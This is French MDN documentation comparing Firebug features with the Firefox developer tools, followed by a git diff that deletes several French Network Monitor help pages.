
- -

Firebug peut être ouvert avec F12. Pour l'ouvrir pour inspecter un élément il est possible d'utiliser le raccourci clavier  Ctrl+Maj+C / Cmd+Opt+C. Les DevTools partagent les mêmes raccourcis, mais fournissent également des raccourcis pour les différent panneaux. Le Moniteur Réseau peut être ouvert avec  Ctrl+Maj+Q / Cmd+Opt+Q, la Console via Ctrl+Maj+K / Cmd+Opt+K et le Déboguer avec Ctrl+Maj+S / Cmd+Opt+S.

- -

Console

- -

La Console est l'équivalent du panneau Console de Firebug. Elle affiche les log associé à une page web et permet d'exécuter des expressions JavaScript via sa ligne de commande. L'affichage est différent. Le {{bug(1269730)}} changera peut être cela.

- -

Filtrer les log

- -

Firebug offre deux façons de filtrer les messages de log, via le menu des options et via les boutons des filtres dans la barre d'outils. La Console des devtools offre une fonctionnalité similaire via les buttons de filtre dans sa barre d'outils — le tout centralisé à un seul endroit.

- -

API de ligne de commande

- -

L'API de ligne de commande dans Firebug fournit des fonction spéciales pour votre confort. La ligne de commande des outils de développement, à quelques fonctions en commun, mais possède également des fonction supplémentaires et n'a pas certaines fonction de Firefbug.

- -

API de la Console

- -

Pour loguer des choses dans la consoles depuis une page web, Firebug rend disponible une API Console dans la page. Les outils de développement partagent la même API, donc vos expressions "console.* continueront de fonctionner.

- -

Logs persistants

- -

Dans Firebug, il est possible de cliquer sur bouton "Persist" dans la barre d'outils pour garder les messages de log entre différent navigations de pages et entre les rechargements. Dans les outils de développemnt, cette option est appelée Activer les journaux persistants et est disponible dans les options de la boîte à outils.

- -

Logs de serveur

- -

Les extension Firebug tels que FirePHP permettent d'afficher des messages du serveur dans la console Firefbug. Cette fonctionnalité est déja intégrée dans les outils de développement en utilisant le protocole ChromeLogger et ne nécessite pas d'autres extensions pour être installé.

- -

Historique de commande

- -

L'historique de commande disponible grâce à un bouton dans la ligne de commande de Firebug est disponible en utilisant les touches ↑/↓ dans la ligne de commande de la Console

- -

Inspecter les propriétés des objets

- -

En cliquant sur objet logué dans la console, il est possible d'inspecter les propriétés de l'objet grâce au panneau DOM. Dans les outils de développement de Firefox, il est aussi possible d'inspecter les objets. La différence est qu'ils montrent les propriétés et les méthodes dans un panneau annexe dans la Console.

- -

Afficher les requêtes réseau

- -

Le panneau Console dans Firebug permet d'afficher les requêtes {{Glossary("AJAX")}} (aka {{Glossary("XMLHttpRequest", "XMLHttpRequests")}}). Cette option est également disponible dans la Console des outils de developpement, grâce au filtre XHR. De plus, la Console permet d'afficher tous les autres types de requêtes résseau grace au filtre Requêtes.

- -

Afficher les structures JSON et XML

- -

Pour afficher les réponses JSON et XML des requêtes {{Glossary("AJAX")}}, Firebug a des onglets spéciaux lors de l'expension d'une requête dans son panneau Console. La Cosnsole des outils de developpement affiche ces structures directement dans l'onglet "Réponses".

- -

Multi-line command line

- -

La Console Firebug a une ligne de commande multi-ligne appelée Command Editor. Les outils de développment n'ont pas un panneau comme le Command Editor (ce qui a déja été demandé dans le {{bug(1133849)}}), mais possède en revanche un outil séparé nommé Ardoise JavaScript, qui peut être ajouté comme panneau dans la boite à outils ou ouvert dans une fenêtre séparée, via le menu Firefox > Développement web > Ardoise, ou avec Maj + F4. Il est également bon à savoir que la ligne de commande normale ajoutte intélligement des retour à la ligne lorsqu'elle reconait une commande incomplete, document. et ensuite appuyer sur Entrée. Il est également possible de faire un retour à la ligne manuel avec Maj + Entrée.

- -

Prévisualisation de réponse

- -

Il y a un onglet Preview lors de l'expensin d'une requête réseau affiché dans Firebug. La Console web affiche une prévisualisation dasn l'onget Réponse. Pour le moment, la prévisualisation pour le HTML, le XML et le SVG, est cependant manquant. Vous pouvez suivre l'historque dans le {{bug(1247392)}} et le {{bug(1262796)}}. Mais lors d'un clic sur l'URL de la requête, les outils de développement passent au Moniteur Réseau, qui lui a un onglet Preview.

- -

Inspecteur

- -

Firebug a un panneau HTML, qui permet d'éditer le HTML/XML/SVG et le CSS en relation. Dans les outils de développement, cette fonctionalitée est assurée par l'Inspecteur.

- -

Editer l'HTML

- -

Dans l'Inspecteur, les attributs des balises et leur contenu peuvent être édités, tout comme dans Firebug. Il permet en plus d'éditer également les balises elles-même.

- -

Il est également possible d'éditer l'HTML directement. Dans Firebug, il faut faire clic-droit sur un noeud puis cliquer sur Edit HTML... dans le menu contextuel. Dans les outils de développement la même option est également dispobible dans le menu contextuel. Elle est nommée Éditer en tant qu'HTML. Seul la prévisualtisation des changements en temps réel est maquante, voir {{bug(1067318)}} et {{bug(815464)}}.

- -

Copier l'HTML et les informations en relation

- -

Le panneau HTML de Firebug permet de copier l'interieur ou l'exterieur d'un élément HTML, ainsi que le CSS et le XPath via le menu contextuel d'un élément. L'inspecteur fournit les même fonctionalités, sauf pour la copie des XPaths. Voir {{bug(987877)}}.

- -

Éditer le CSS

- -

Les deux outils permètent de voir et d'éditer les règles CSS des éléments sélectionnés dans la vue du noeud de façon similaire. Firebug possède le panneau Style pour ça, les outils de developpement eux ont le panneau Règles.

- -

Dans Firebug il est possible d'ajouter des règles en effectuant un clic-droit puis en sélectionant Add Rule... dans le menu contextuel. Les outils de developpement eux ont une option dans le menu contextuelle nommée Ajouter une règle ainsi qu'un bouton + dans la barre d'outils de l'onglet Règles.

- -

Pour éditer le style des élements (les propriétés CSS de l'attribut {{htmlattrxref("style")}} d'un élément), dans Firebug il faut faire un clic-droit dans l'onglet Style et sélectionner Edit Element Style... dans le menu contextuel. Les outils de développement affichent une règle element {} pour ceci. Ainsi un simple clic sur cette règle permet de commencer à éditer les propriétés.

- -

Auto-completion du CSS

- -

Tout comme dans Firebug, l'onglet des règles fournit de l'auto-complétion pour les propriétés CSS et leurs valeurs. Quelques propriétés ne sont pas complétés, elles sont listés dans le {{bug(1337918)}}.

- -

Copier & coller du CSS

- -

L'onglet Style de Firebug ainsi que l'onglet Règles des outils de developpement fournissent tous deux l'option dans leurs menu contextuels de copier/coller les règles CSS. Les outils de développement fournissent en plus une option pour copier le sélecteur d'une règle et de copier les règles désactivé comme du code commenté. Il manque par contre les options por copier la déclaration de style entière. Cependant cela peut être fait en sélectionant les règles dans l'onglet et copier la sélection avec Ctrl + C ou via le menu contextuel.

- -

L'onglet des règles des outils de developpement est plus intélligent quand il s'agit de coller du CSS dedans. Il est possible de coller des déclarations de style entière dans des règles existantes. Et les règles commenté sont directement désactivées.

- -

Afficher les pseudo-classes

- -

Firebug permet d'afficher les pseudo-classes CSS {{cssxref(":hover")}}, {{cssxref(":active")}} et {{cssxref(":focus")}} d'un élément, grâce aux options options du menu du panneu latéral Style. Dans les outils de développement, il y a deux façons de faire de même. La première est de les activer via l'onglet pseudo-class dans le panneau des Règles. La seconde est de faire un clic droit sur un élément dans la vue des noeuds et d'affichier les pseudo-classes via le menu contextuel.

- -

Examiner les raccourcis de propriétés CSS

- -

Les raccourcis de propriétés CSS peuvent être converties dans leur version complète en sélectionnant l'option Étendre les propriétés raccouricies dans le panneau latéral Style. Le panneau des Règles des outils de developpement est plus malin et permet de les étendre en cliquant sur les acolades entre.

- -

Afficher uniquement les styles appliqués

- -

Le panneau latéral Style de Firebug a une option pour afficher uniquement les propriétés CSS d'une règle qui sont appliqué à l'élement sélectionné, et cache alors toutes les règles surchargées. Cette fonctionalité n'est pas présente dans les outils de développement. Mais elle a déja été demandée dans le {{bug(1335327)}}.

- -

Inspecter le modèle de boite

- -

Dans Firebug the box model can be inspected via the Layout side panel. In the DevTools the box model is part of the Computed side panel. Both tools highlight the different parts of the box model within the page when hovering them in the box model view. Also, both tools allow you to edit the different values inline via a click on them.

- -

Inspecter les styles calculés

- -

 

- -

Les valeurs calculées des propriétés CSS sont affichées dans le panneau latéral "Calculé" des outils de développement exactement comme elle le sont dans le panneau latéral "Calculé" de Firebug. La différence est que dans outils de développement les propriétés sont toujours listées par ordre alphabétique et non groupées (voir {{bug(977128)}}) et il n'y a pas d'option pour cacher les styles spécifiques à Mozilla, mais il y a un champ de saisie permettant de filtrer les propriétés.

- -

Inspecter les évènements

- -

 

- -

Les événements affectés à un élément sont affichés dans le panneau latéral Événements de Firebug. Dans les outils de développement, ils sont affichés en cliquant sur la petite icône 'ev' à côté d'un élément dans la vue du noeud. Les deux outils permettent d'afficher les écouteurs d'événements "wrapped" (par exemple les écouteurs "wrapped" dans des fonctions jQuery). Pour améliorer l'interface utilisateur des outils de développement, il y a aussi une demande d'ajout d'un panneau latéral Événements comme celui de Firebug (voir {{bug(1226640)}}).

- -

Stoper l'exécution sur des mutations DOM

- -

 

- -

Dans Firebug il est possible de s’arrêter sur les mutations DOM, ce qui signifie que lorsqu'un élément est modifié, l'exécution du script est arrêtée à la ligne correspondante dans le fichier JavaScript, ce qui a causé le changement. Cette fonction peut être activée globalement via le bouton "Break On Mutate", ou individuellement pour chaque élément et pour différents types de changements comme les changements d'attributs, les changements de contenu ou la suppression d'éléments. Malheureusement, les outils de développement n'ont pas encore cette fonctionnalité (voir {{bug(1004678)}}). Pour arrêter l'exécution du script, il est nécessaire de définir un point d'arrêt sur la ligne avec la modification dans le Débogueur.

- -

Chercher des éléments par sélecteurs CSS ou XPaths

- -

Firebug permet de rechercher des élément de le panneau HTML par sélecteur CSS ou XPaths. Les outils de développement permentent également de rechercher par sélecteur CSS. Ils affichent même les IDs et classes correspondantes. Rechercher par XPaths n'est pas encore implémenté (voir {{bug(963933)}}.

- -

Debugger

- -

What's the Script panel in Firebug, is the Debugger panel in the DevTools. Both allow you to debug JavaScript code executed on a website.

- -

Switch between sources

- -

Firebug has a Script Location Menu listing all JavaScript sources related to the website. Those sources can be static, i.e. files, or they can be dynamically generated (i.e. scripts executed via event handlers, eval(), new Function(), etc.). In the DevTools' Debugger panel the scripts are listed at the left side within the Sources side panel. Dynamically generated scripts are only listed there when they are named via a //# sourceURL comment.

- -

Managing breakpoints

- -

In Firebug you can set different types of breakpoints, which are all listed within the Breakpoints side panel. In the DevTools the breakpoints are shown below each script source within the Sources side panel. Those panels allow you to enable and disable single or all breakpoints and to remove single breakpoints or all of them at once. They do currently only allow to set script breakpoints. XHR, DOM, Cookie and Error breakpoints are not supported yet (see {{bug(821610)}}, {{bug(1004678)}}, {{bug(895893)}} and {{bug(1165010)}}). While there are no breakpoints for single JavaScript errors, there is a setting Pause on Exceptions within the Debugger panel options.

- -

Step through code

- -

Once the script execution is stopped, you can step through the code using the Continue (F8), Step Over (F10), Step Into (F11) and Step Out (Shift+F11) options. They work the same in both tools.

- -

Examine call stack

- -

When the script execution is paused, Firebug displays the function call stack within its Stack side panel. In there the functions are listed together with their call parameters. In the DevTools the function call stack is shown within the Call Stack side panel. To see the call parameters in the DevTools, you need to have a look at the Variables side panel.

- -

Examine variables

- -

The Watch side panel in Firebug displays the {{domxref("window")}} object (the global scope) by default. With the script execution halted it shows the different variable scopes available within the current call stack frame. Furthermore, it allows you to add and manipulate watch expressions. The DevTools have a Variables side panel, which works basically the same. The main difference is that it is empty when the script execution is not stopped, i.e. it doesn't display the window object. Though you can inspect that object either via the DOM property viewer or via the Web Console.

- -

Style Editor

- -

The Style Editor in the Firefox DevTools allows you to examine and edit the different CSS style sheets of a page like Firebug's CSS panel does it. In addition to that it allows to create new style sheets and to import existing style sheets and apply them to the page. It also allows you to toggle individual style sheets.

- -

Switch between sources

- -

The CSS panel of Firebug allows to switch between different CSS sources using the CSS Location Menu. The Style Editor has a sidebar for this purpose.

- -

Edit a style sheet

- -

Firebug's CSS panel offers three different ways for editing style sheets. The default one is to edit them inline like within the Style side panel. Furthermore it has a Source and a Live Edit mode, which allow to edit the selected style sheet like within a text editor. The Style Editor of the DevTools only has one way to edit style sheets, which corresponds to Firebug's Live Edit mode.

- -

Try out CSS selectors

- -

Firebug's Selectors side panel provides a way to validate a CSS selector. It lists all elements matching the entered selector. The DevTools don't have this feature yet, but it's requested in {{bug(1323746)}}.

- -

Searching within the style sheets

- -

Firebug allows to search within the style sheets via the search field. The Style Editor in the DevTools also provides a way to search within a style sheet, though there is currently no option to search within multiple sheets (see {{bug(889571)}}) and also not via a regular expression (see {{bug(1362030)}}.

- -

Performance Tool

- -

Firebug allows to profile JavaScript performance via the "Profile" button within the Console panel or the console.profile() and console.profileEnd() commands. The DevTools provide advanced tooling regarding performance profiling. A profile can be created via console.profile() and console.profileEnd() like in Firebug or via the "Start Recording Performance" button in the Performance Tool. The output of the Call Tree is the one that comes nearest to the output in Firebug, but the Performance panel provides much more information than just the JavaScript performance. E.g. it also provides information about HTML parsing or layout.

- -

This is the part where Firebug and the DevTools differ the most, because the outputs are completely different. While Firebug focuses on JavaScript performance and provides detailed information about JavaScript function calls during the profiling session, the Performance Tool in the DevTools offers a broad spectrum of information regarding a website's performance but doesn't go into detail regarding JavaScript function calls.

- -

View JavaScript call performance

- -

What comes nearest to Firebug's profiler output is the Call Tree view in the Performance panel. Like in Firebug it lists the total execution time of each function call under Total Time as well as the number of calls under Samples, the time spent within the function under Self Time and the related percentages in reference to the total execution time.

- -
-

Note: The times and percentages listed in the DevTools' Call Tree view is not equivalent to the ones shown in Firebug, because it uses different APIs sampling the execution of the JavaScript code.

-
- -

Jump to function declaration

- -

Like in Firebug's profiler output the Call Tree view of the DevTools' Performance Tool allows to jump to the line of code where the called JavaScript function is defined. In Firebug the source link to the function is located at the right side of the Console panel output while within the DevTools the link is placed on the right side within the Call Tree View.

- -

Network Monitor

- -

To monitor network requests Firebug provides a Net panel. The Firefox DevTools allow to inspect the network traffic using the Network Monitor. Both tools provide similar information including a timeline showing the request and response times of the network requests.

- -

Inspect request information

- -

Both Firebug and the Firefox DevTools' Network Monitor allow you to inspect the information about a request by clicking on it. The only difference is that Firebug shows the information below the request while the Network Monitor displays it within a side panel.

- -

In both tools there are different tabs containing different kinds of information for the selected request. They contain a Headers, Params, Response and Cookies panel. A preview of the response is shown within specifically named panels like HTML. The Network Monitor has a Preview panel for this purpose. It doesn't provide information about the cached data yet (see {{bug(859051)}}), but provides a Security tab in addition to Firebug's information and a Timings tab showing detailed information about the network timings.

- -

View request timings

- -

Firebug offers detailed information about the network timings related to a request by hovering the Timeline column within its Net panel. The Network Monitor shows this information within a Timings side panel when you select a request.

- -

View remote address

- -

The remote address of a request is shown within the Remote IP column within Firebug. In the Network Monitor the address is shown at Remote Address in the Headers tab when a request is selected.

- -

Search within requests

- -

The search field within Firebug allows to search within the requests. The search field in the Firefox DevTools filters the requests by the entered string.

- -

Firebug allowed to search within the response body of the network requests by checking Response Bodies within its search field options. This feature is not available yet within the Network Monitor, but it's requested in {{bug(1334408)}}. While response bodies can't be searched yet, the Network Monitor allows to filter by different request properties.

- -

Storage Inspector

- -

The Cookies panel in Firebug displays information related to the cookies created by a page and allows to manipulate the information they store. Within the DevTools this functionality is located within the Storage Inspector. In contrast to Firebug the Storage Inspector not only allows to inspect cookies but also other kinds of storages like the local and session storage, the cache and IndexedDB databases.

- -

Inspect cookies

- -

All cookies related to a website are listed inside the Cookies panel in Firebug. Inside the DevTools, the cookies are grouped by domain under the Cookies section within the Storage Inspector. Both show pretty much the same information per cookie, i.e. the name, value, domain, path, expiration date and whether the cookie is HTTP-only.

- -

The DevTools don't show by default whether a cookie is secure, but this can be enabled by right-clicking the table header and checking Secure from the context menu. Additionally, the DevTools allow to display the creation date of a cookie as well as when it was last accessed and whether it is host-only.

- -

Edit cookies

- -

To edit a cookie in Firebug you have to right-click the cookie and choose Edit from the context menu. Then a dialog pops up allowing you to edit the data of the cookie and save it. Inside the Storage Inspector you just have to double-click the data you want to edit. Then an inline editor allows you to edit the value.

- -

Delete cookies

- -

Firebug's Cookies panel allows you to delete all cookies of a website via the menu option Cookies > Remove Cookies or by pressing Ctrl+Shift+O. It also allows you to only remove session cookies via Cookies > Remove Session Cookies and to remove single cookies by right-clicking them and choosing Delete. The DevTools Storage Inspector allows to remove all cookies and a single one by right-clicking on a cookie and choosing Delete All resp. Delete "<cookie name>". Additionally, it allows to delete all cookies from a specific domain via the context menu option Delete All From "<domain name>". It currently does not allow to only delete session cookies (see {{bug(1336934)}}).

- -

Developer Toolbar

- -

Display of error count

- -

When there are JavaScript errors on a page, the Firebug Start Button shows a badge with their number. The DevTools show the number of errors in the Developer Toolbar.

- -

Command API

- -

Firebug offers a great variety of commands, which can be executed within its command line. The Developer Toolbar also provides an API with a lot of different commands to control the DevTools and execute different tasks.

- -

Feedback

- -

We are always happy to respond to feedback and questions. If you have any queries or points of view, feel free to share them on our DevTools Discourse Forum.

diff --git "a/files/fr/outils/moniteur_r\303\251seau/index.html" "b/files/fr/outils/moniteur_r\303\251seau/index.html" deleted file mode 100644 index 9506bbdbe8..0000000000 --- "a/files/fr/outils/moniteur_r\303\251seau/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Moniteur Réseau -slug: Outils/Moniteur_réseau -tags: - - Debugging - - Dev Tools - - Firefox - - Guide - - Networking - - Tools -translation_of: Tools/Network_Monitor ---- -
{{ToolsSidebar}}
- -

Le moniteur réseau affiche toutes les requêtes effectuées par Firefox (par exemple, au chargement d'une page ou lors de XMLHttpRequests). Le temps que prend chaque requête ainsi que ses détails seront également affichés.

- -

Ouvrir le Moniteur Réseau

- -

Il existe plusieurs façons d'ouvrir le Moniteur :

- -
    -
  • Utiliser le raccourci clavier Ctrl +  Maj + E ( Command +  Option + E sur Mac).
    • -
  • Sélectionner "Réseau" dans le menu développement ( qui est un sous-menu du menu "Outils" sur MAC OS X et Linux).
    • -
  • Cliquer sur l'onglet "Réseau" dans la boite à outils (appuyer sur F12 pour ouvrir la boite à outils).
    • -
- -

Le moniteur réseau va alors apparaître au bas de la fenêtre du navigateur. Lors de l'ouverture, le moniteur est vide et ressemble à ceci:

- -

- -

Recharger la page ou cliquer su le bouton, activera l'analyse de l'activité réseau. Une fois que l'outil est actif, il ressemblera à ceci:

- -

Ouvrir Le Moniteur Réseau

- -

Le moniteur enregistre les requêtes dès le moment où la boite à outils est ouverte, même si l'onglet réseau n'est pas sélectionné. Cela signifie que vous pouvez commencer le débogage d'une page dans la Console puis passer à l'onglet réseau sans avoir à recharger la page.

- -

Vue d'ensemble de l'interface utilisateur

- -

L'UI est divisé en quatre grandes catégories :

- - - -

Écran_Principal_Du_Moniteur_Réseau

- - - -

Écran analyse de performace

- -

Utiliser le moniteur Réseau

- -

Les articles suivants décrivent différents aspects de l'utilisation du Moniteur Réseau :

- - diff --git "a/files/fr/outils/moniteur_r\303\251seau/performance_analysis/index.html" "b/files/fr/outils/moniteur_r\303\251seau/performance_analysis/index.html" deleted file mode 100644 index 731bce1671..0000000000 --- "a/files/fr/outils/moniteur_r\303\251seau/performance_analysis/index.html" +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Analyse de performance réseau -slug: Outils/Moniteur_réseau/Performance_Analysis -tags: - - Debugging - - Dev Tools - - Firefox - - Guide - - Networking - - Tools -translation_of: Tools/Network_Monitor/Performance_Analysis ---- -

{{ToolsSidebar}}

- -

Le Moniteur Réseau inclut un outil d'analyse de performances pour vous aider à comprendre combien de temps le navigateur met pour télécharger les différentes parties de votre site.

- -

Analyse des performances

- -

Pour lancer l'outil d'analyse de performances, cliquez sur l'icône chronomètre en bas de la barre d'outils du Moniteur :

- -

(notez que si vous venez d'ouvrir le Moniteur Réseau, sans avoir lancé d'analyse, le chronomètre sera dans la fenêtre principale)

- -

Le Moniteur Réseau charge alors le site deux fois : une avec un cache vide et une avec une mise en cache. Il simule ainsi la première visite du site et les visites suivantes. Il affiche les résultats pour chaque test côte à côte ou verticalement, suivant la place disponible :

- -

capture décran de performances réseau

- -

Les résultats de chaque test sont résumés dans un tableau et un diagramme à secteurs. Le tableau rassemble les ressources par type et affiche la taille de chaque ressource ainsi que le temps total pour la charger. Le diagramme "camembert" l'accompagnant affiche la taille relative de chaque ressource.

- -

Pour revenir à la liste de requêtes, cliquer sur le bouton "Retour" à gauche.

- -

Cliquer sur un secteur du diagramme affiche le Moniteur Réseau pour cette page, mais avec un filtre seulement pour ce type de ressource

- -

Fonctionnalités du Moniteur Réseau

- -

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

- - diff --git "a/files/fr/outils/moniteur_r\303\251seau/recording/index.html" "b/files/fr/outils/moniteur_r\303\251seau/recording/index.html" deleted file mode 100644 index 1aff22be9a..0000000000 --- "a/files/fr/outils/moniteur_r\303\251seau/recording/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Enregistrement des journaux réseau -slug: Outils/Moniteur_réseau/recording -translation_of: Tools/Network_Monitor/recording ---- -

{{ToolsSidebar}}

- -

Il est possible d’interrompre et de reprendre l'enregistrement des requêtes réseau grâce au bouton pause.

- -

Interrompre/Reprendre l'enregistrement des requêtes réseau

- -

Le Moniteur Réseau possède un bouton pour interrompre/reprendre l'enregistrement du trafic réseau d'une page. C'est pratique par exemple, pour avoir une vue de la page stable pour un instant T pendant le débug (et ainsi éviter d'avoir quarante milles requêtes qui noient le poisson).

- -

Le bouton est situé en haut à gauche de la barre d'outils principale du Moniteur. Il ressemble à un bouton pause typique : .

- -

Voir image :

- -

- -

Une fois pressé, le bouton se transforme en une icône "Lecture", afin de reprendre l'enregistrement.

- -

Fonctionnalités du Moniteur Réseau

- -

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

- - diff --git "a/files/fr/outils/moniteur_r\303\251seau/request_details/index.html" "b/files/fr/outils/moniteur_r\303\251seau/request_details/index.html" deleted file mode 100644 index f63ae19e4c..0000000000 --- "a/files/fr/outils/moniteur_r\303\251seau/request_details/index.html" +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: Détails des requêtes réseau -slug: Outils/Moniteur_réseau/request_details -translation_of: Tools/Network_Monitor/request_details ---- -

{{ToolsSidebar}}

- -

Le panneau du détail des requêtes réseau apparait après la sélection d'une requête dans la liste. Ce panneau fournit des informations détaillées sur la requête.

- -

Détails des requêtes réseau

- -

Cliquer sur une ligne affiche un nouveau panneau sur le côté droit du moniteur réseau, qui affiche plus d'informations détaillées sur la requête :

- -

- -

Les onglets en haut du panneau vous permettent de passer entre cinq différentes pages :

- -
    -
  • En-têtes
    • -
  • Messages (seulement pour les éléments de WebSocket)
    • -
  • Cookies
    • -
  • Paramètres
    • -
  • Réponse
    • -
  • Délais
    • -
  • Sécurité (seulement pour les pages sécurisées)
    • -
  • Trace de la pile (seulement lorsque la requête a une trace de la pile, c'est-à-dire un script appelé dans un script).
    • -
- -

Cliquer sur l'icône à gauche des onglets vous permet de fermer le panneau et retourner à la liste.

- -

En-têtes

- -

Cet onglet liste des informations essentielles de la requête :

- -

- -

Cela inclut :

- -
    -
  • L'URL de la requête.
    • -
  • La méthode de la requête.
    • -
  • L'adresse IP distante et son port (e de Firefox 39).
    • -
  • Le code d'état, avec un point d'interrogation redirigeant vers la documentation MDN (si disponible)
    • -
  • La requête HTTP et les en-têtes de la réponse qui ont été envoyés.
    • -
  • Un bouton pour éditer et renvoyer la requête
    • -
  • Un bouton pour afficher les en-têtes bruts, et les en-têtes de réponse
    • -
- -

Il est possible de filtrer les en-têtes qui sont affichés :

- -

- -

Une icône en forme de point d'interrogation est présente à côté de chaque en-tête (sur la même ligne que le code d'état). Ce lien pointe vers la documentation des en-têtes HTTP pour en savoir plus.

- -

Cookies

- -

Cet onglet énumère tous les détails de chaque cookie avec la requête ou la réponse :

- -

- -

Comme avec les en-têtes, vous pouvez filtrer la liste des cookies affichés. La liste complète des attibuts de cookie est affichée (voir la capture ci dessous pour un exemple).

- -

cookies panel in firefox devtools network monitor, showing a number of cookie attributes including samesite

- -

L'attribut samesite est affiché depuis Firefox 62 ({{bug("1452715")}}).

- -

Paramètres

- -

Cet onglet affiche les paramètres de GET et les données POST de chaque requête :

- -

- -

Réponse

- -

Le contenu complet de la réponse. Si la réponse est du HTML, du JS ou du CSS, elle sera affichée comme texte :

- -

- -

Si la réponse est du JSON, elle sera affichée comme objet inspectable :

- -

Si la réponse est une image, l'onglet affiche un aperçu :

- -

- -

Cache

- -

Si la réponse est mise en cache (c.-à-d. un 304), l'onglet cache affichera tous les détails sur la ressource mise en cache.

- -

- -

Parmis ces détails on trouve :

- -
    -
  • Dernière consultation : La data à laquelle la ressource a été consultée.
    • -
  • Nombre de consultations : Le nombre de fois dans la session où la ressource a été consultée.
    • -
  • Taille des données : La taille de la ressource.
    • -
  • Dernière modification : La data à laquelle la ressource a été modifiée.
    • -
  • Expire le : La date a laquelle la ressource expire.
    • -
  • Appareil : L'appareil depuis lequel la ressource a été consultée (ex: "disque").
    • -
- -

Pré-visualisation HTML

- -

Depuis Firefox 59, si la réponse est du HTML, une prévisualisation du HTML rendu apparaitra dans l'onglet Réponse, au-dessus du texte de la réponse.

- -

- -

Délais

- -

L'onglet affiche la séparation entre chaque étape définie dans la spécification de l'Archive HTTP : 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomDescription
Bloqué -

Temps passé dans la file d'attente de la connexion réseau

- -

Le navigateur impose une limite sur le nombre de connexions simultanées qui peuvent être faites à un seul serveur. Dans Firefox, le nombre par défaut est 6. Mais il peut être changé en modifiant la préférence  network.http.max-persistent-connections-per-server. Si toutes les connexions sont en cours d'utilisation, le navigateur ne peut plus charger de ressources jusqu'a ce qu'une connexion de libère.

-
Résolution DNSTemps pris pour résoudre le nom d'un hôte
ConnexionTemps pris pour créer une connexion TCP
EnvoiTemps pris pour envoyer la requête HTTP au serveur
AttenteTemps d'attente du serveur
RéceptionTemps pris pour recevoir la réponse entière depuis le serveur (ou le cache)
- -

Il présente également la chronologie de la requête de façon plus détaillée et annotée :

- - - -

- - - -

Sécurité

- -

Si le site est chargé via HTTPS, l'onglet "Sécurité" apparait. Il contient les détails sur la connexion sécurisée. Cela inclut le protocole, le chiffrage, et les détails du certificat :

- - - -

- - - -

L'onglet sécurité affiche un avertissement sur les faiblesses de sécurité. Actuellement il avertit de deux faiblesses :

- -
    -
  1. Utiliser SSLv3 au lieu de TLS
    2. -
  2. Utiliser le chiffrage RC4
    3. -
- -

- -

Trace de la pile

- -

La trace de la pile est affichée dans son propre onglet, surprenamment nommé "Trace de la pile". Bien entendu, cela n'est valable que pour les réponses qui possèdent une trace de pile.

- - - -

diff --git "a/files/fr/outils/moniteur_r\303\251seau/request_list/index.html" "b/files/fr/outils/moniteur_r\303\251seau/request_list/index.html" deleted file mode 100644 index 7b461f7ff2..0000000000 --- "a/files/fr/outils/moniteur_r\303\251seau/request_list/index.html" +++ /dev/null @@ -1,377 +0,0 @@ ---- -title: Liste des requêtes réseau -slug: Outils/Moniteur_réseau/request_list -translation_of: Tools/Network_Monitor/request_list ---- -

{{ToolsSidebar}}

- -

La Liste des requêtes réseau du Moniteur Réseau affiche une liste des requêtes faites dans la page depuis son chargement.

- -

Liste des requêtes réseau

- -

Par défaut, le moniteur affiche une liste de toutes les requêtes faites lors du chargement de la page, à raison d'une par ligne :Il est également vidé par défaut lors d'un changement de page ou du rafraîchissement de la page. Vous avez la possibilité de modifier ce comportement en cochant "Activer les journaux persistants" dans les paramètres des outils de développement.

- -

Champs des requêtes réseau

- -

Il est possible d'afficher/cacher les différentes colonnes avec un clic droit sur l'en-tête du tableau (la ligne des noms des colonnes). Une option "Réinitialiser les colonnes" est également disponible. Voici une liste de toutes les colonnes disponibles:

- -

Il est également possible d'ajuster la largeur des colonnes pour faciliter la lecture. L'option "Réinitialiser les colonnes" réinitialise aussi la largeur des colonnes.

- -

{{EmbedYouTube("5fbuDO2s9Pk")}}

- -

Cliquer sur un en-tête de colonne trie la liste par rapport à cette colonne. "Réinitialiser les colonnes" remet le tri par défaut.

- -

- -

Voici une liste des colonnes disponibles:

- -
    -
  • État : le code de statut HTTP renvoyé. Il est indiqué par une icône de couleur : Le code exact est affiché juste après l'icône. - -
      -
    • un cercle bleu pour les codes d'information (1XX codes). Cela inclut notamment le code 101 (Changement de protocole) pour les upgrades WebSocket.
      • -
    •  un cercle vert pour le succès (codes 2XX),
      • -
    •  un triangle orange pour la redirection (3XX)
      • -
    •  un carré rouge pour les erreurs (4XX et 5XX).
      • -
    •  un cercle gris pour les réponses récupérées dans le cache du navigateur
      • -
    -
    • -
  • Méthode : la méthode de la requête HTTP.
    • -
  • Fichier : nom du fichier requis.
    • -
  • Protocole: Le protocole réseau utilisé pour transférer les donnée.
    • -
  • Scheme: Le "scheme" (https/http/ftp/...) du chemin demandé.
    • -
  • Domaine : le domaine du chemin requis. -
      -
    • ​Si la requête utilise le protocole SSL/TLS et que la connexion a une faiblesse de sécurité telle qu'un chiffrement peu solide, une icône en forme de triangle apparaît à côté du domaine. On peut trouver davantage de détails sur le problème dans l'onglet Sécurité.
      • -
    • Survolez le domaine pour voir l'adresse IP.
      • -
    • Il y a une icône à côté du domaine qui donne des informations supplémentaires sur le statut de sécurité de la requête. Voir icônes de sécurité.
      • -
    -
    • -
  • IP distante: l'adresse IP du serveur répondant à la requête.
    • -
  • Source: La cause de la requête, par exemple un  une requête XHR, un {{htmlelement("img")}}, un script, etc.
    • -
  • Type: Le Content-type de la réponse.
    • -
  • Cookies: Le nombre de "cookies de requêtes" associés à la requête.
    • -
  • Set-Cookies: Le nombre de "cookies de réponse" associés à la requête.
    • -
  • Transfert : Le nombre d'octets qui ont réellement été transférés pour charger la ressource. Cela sera plus petit que "Taille" si la ressource a été compressée. Si la ressource a été chargée depuis le cache d'un service worker, alors la case affiche "service worker"
    • -
  • Taille : la taille de la ressource transférée.
    • -
- -

La barre supérieure donne l'intitulé des colonnes, et en cliquant sur ces intitulés classera toutes les requêtes en fonction de la colonne sélectionnée.

- -

Miniature d'image

- -

Si le fichier est une image, survoler son nom de fichier affichera un aperçu de l'image :

- -

- -

Icônes sécurité

- -

Le Moniteur réseau affiche une icône dans la colonne "Domaine" :

- -

- -

Cela donne une information supplémentaire concernant la sécurité de la requête :

